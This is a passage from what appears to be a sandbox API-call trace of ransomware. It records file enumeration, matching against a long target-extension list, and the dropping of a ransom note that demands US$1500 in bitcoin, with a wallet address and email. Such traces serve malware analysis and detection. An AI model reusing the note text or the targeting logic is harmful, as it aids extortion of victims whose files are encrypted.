5 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.xlsx") returned 0 [0104.926] lstrlenA (lpString="*.xlsx") returned 6 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.xls") returned 0 [0104.926] lstrlenA (lpString="*.xls") returned 5 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.mp4") returned 0 [0104.926] lstrlenA (lpString="*.mp4") returned 5 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.ppt") returned 0 [0104.926] lstrlenA (lpString="*.ppt") returned 5 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.pptx") returned 0 [0104.926] lstrlenA (lpString="*.pptx") returned 6 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.doc") returned 0 [0104.926] lstrlenA (lpString="*.doc") returned 5 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.dot") returned 0 [0104.926] lstrlenA (lpString="*.dot") returned 5 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.docx") returned 0 [0104.926] lstrlenA (lpString="*.docx") returned 6 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.7z") returned 0 [0104.926] lstrlenA (lpString="*.7z") returned 4 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.tar") returned 0 [0104.926] lstrlenA (lpString="*.tar") returned 5 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.bz2") returned 0 [0104.926] lstrlenA (lpString="*.bz2") returned 5 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.gz") returned 0 [0104.926] lstrlenA (lpString="*.gz") returned 4 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.mkv") returned 0 [0104.927] lstrlenA (lpString="*.mkv") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.eml") returned 0 [0104.927] lstrlenA (lpString="*.eml") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.msg") returned 0 [0104.927] lstrlenA (lpString="*.msg") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.edb") returned 0 [0104.927] lstrlenA (lpString="*.edb") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.accdb") returned 0 [0104.927] lstrlenA (lpString="*.accdb") returned 7 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.odb") returned 0 [0104.927] lstrlenA (lpString="*.odb") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.java") returned 0 [0104.927] lstrlenA (lpString="*.java") returned 6 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.asm") returned 0 [0104.927] lstrlenA (lpString="*.asm") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.pfx") returned 0 [0104.927] lstrlenA (lpString="*.pfx") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.pem") returned 0 [0104.927] lstrlenA (lpString="*.pem") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.p12") returned 0 [0104.927] lstrlenA (lpString="*.p12") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.gpg") returned 0 [0104.927] lstrlenA (lpString="*.gpg") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.vsd") returned 0 [0104.927] lstrlenA (lpString="*.vsd") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.odg") returned 0 [0104.927] lstrlenA (lpString="*.odg") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.raw") returned 0 [0104.927] lstrlenA (lpString="*.raw") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.nef") returned 0 [0104.927] lstrlenA (lpString="*.nef") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.svg") returned 0 [0104.927] lstrlenA (lpString="*.svg") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.psd") returned 0 [0104.927] lstrlenA (lpString="*.psd") returned 5 [0104.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.vmx") returned 0 [0104.928] lstrlenA (lpString="*.vmx") returned 5 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.vmdk") returned 0 [0104.928] lstrlenA (lpString="*.vmdk") returned 6 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.vdi") returned 0 [0104.928] lstrlenA (lpString="*.vdi") returned 5 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.lay6") returned 0 [0104.928] lstrlenA (lpString="*.lay6") returned 6 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.mpeg") returned 0 [0104.928] lstrlenA (lpString="*.mpeg") returned 6 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.djvu") returned 0 [0104.928] lstrlenA (lpString="*.djvu") returned 6 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.tiff") returned 0 [0104.928] lstrlenA (lpString="*.tiff") returned 6 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.backup") returned 0 [0104.928] lstrlenA (lpString="*.backup") returned 8 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.pdf") returned 0 [0104.928] lstrlenA (lpString="*.pdf") returned 5 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.cert") returned 0 [0104.928] lstrlenA (lpString="*.cert") returned 6 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.docm") returned 0 [0104.928] lstrlenA (lpString="*.docm") returned 6 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.xlsm") returned 0 [0104.928] lstrlenA (lpString="*.xlsm") returned 6 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.dwg") returned 0 [0104.928] lstrlenA (lpString="*.dwg") returned 5 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.nd") returned 0 [0104.928] lstrlenA (lpString="*.nd") returned 4 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.tlg") returned 0 [0104.928] lstrlenA (lpString="*.tlg") returned 5 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.lgb") returned 0 [0104.928] lstrlenA (lpString="*.lgb") returned 5 [0104.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.mov") returned 0 [0104.928] lstrlenA (lpString="*.mov") returned 5 [0104.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.xdw") returned 0 [0104.929] lstrlenA (lpString="*.xdw") returned 5 [0104.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.ods") returned 0 [0104.929] lstrlenA (lpString="*.ods") returned 5 [0104.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.wav") returned 0 [0104.929] lstrlenA (lpString="*.wav") returned 5 [0104.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.mp3") returned 0 [0104.929] lstrlenA (lpString="*.mp3") returned 5 [0104.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.aiff") returned 0 [0104.929] lstrlenA (lpString="*.aiff") returned 6 [0104.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.flac") returned 0 [0104.929] lstrlenA (lpString="*.flac") returned 6 [0104.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.m4a") returned 0 [0104.929] lstrlenA (lpString="*.m4a") returned 5 [0104.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.csv") returned 0 [0104.929] lstrlenA (lpString="*.csv") returned 5 [0104.929] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1d65ae, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1b1d65ae, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1b2489cf, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x231000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Core.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0104.929] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.929] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2e0f50, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1b2e0f50, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1b2e0f50, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fbc05b5b05dc6366b02b8e2f77d080f1", cAlternateFileName="FBC05B~1")) returned 0 [0104.929] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.929] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea5846, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeea5846, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeea5846, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data", cAlternateFileName="SYSTEM~1.DAT")) returned 1 [0104.929] lstrcmpA (lpString1=".", lpString2="System.Data") returned -1 [0104.929] lstrcmpA (lpString1="..", lpString2="System.Data") returned -1 [0104.929] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.929] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Data" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data" [0104.929] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data") returned 58 [0104.929] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea5846, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeea5846, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeea5846, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.930] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.930] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea5846, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeea5846, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeea5846, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.930] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.930] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.930] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea5846, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeea5846, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeea5846, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1e85062785e286cd9eae9c26d2c61f73", cAlternateFileName="1E8506~1")) returned 1 [0104.930] lstrcmpA (lpString1=".", lpString2="1e85062785e286cd9eae9c26d2c61f73") returned -1 [0104.930] lstrcmpA (lpString1="..", lpString2="1e85062785e286cd9eae9c26d2c61f73") returned -1 [0104.930] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\*.*") returned="*.*" [0104.930] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\", lpString2="1e85062785e286cd9eae9c26d2c61f73" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73" [0104.930] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73") returned 91 [0104.930] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea5846, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeea5846, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeea5846, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.930] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.930] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea5846, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeea5846, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeea5846, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.931] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.931] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.931] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea2eefe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xea2eefe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeb85b60, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x64e200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0104.931] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.931] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.ni.dll") returned -1 [0104.931] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.ni.dll") returned -1 [0104.931] lstrcmpiA (lpString1="", lpString2="System.Data.ni.dll") returned -1 [0104.931] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\*.*") returned="*.*" [0104.931] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\" [0104.931] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\") returned="" [0104.931] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\HOW TO DECRYPT FILES.txt" [0104.931] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data\\1e85062785e286cd9eae9c26d2c61f73\\how to decrypt files.txt")) returned 0xffffffff [0104.931] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data\\1e85062785e286cd9eae9c26d2c61f73\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.932] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.932] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.934] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.934] CloseHandle (hObject=0x90) returned 1 [0104.934] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\", lpString2="System.Data.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll" [0104.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.ems") returned 0 [0104.934] lstrlenA (lpString="*.ems") returned 5 [0104.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.db") returned 0 [0104.934] lstrlenA (lpString="*.db") returned 4 [0104.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.dbf") returned 0 [0104.934] lstrlenA (lpString="*.dbf") returned 5 [0104.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.myox") returned 0 [0104.934] lstrlenA (lpString="*.myox") returned 6 [0104.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.myo") returned 0 [0104.934] lstrlenA (lpString="*.myo") returned 5 [0104.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.qbw") returned 0 [0104.934] lstrlenA (lpString="*.qbw") returned 5 [0104.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.qbb") returned 0 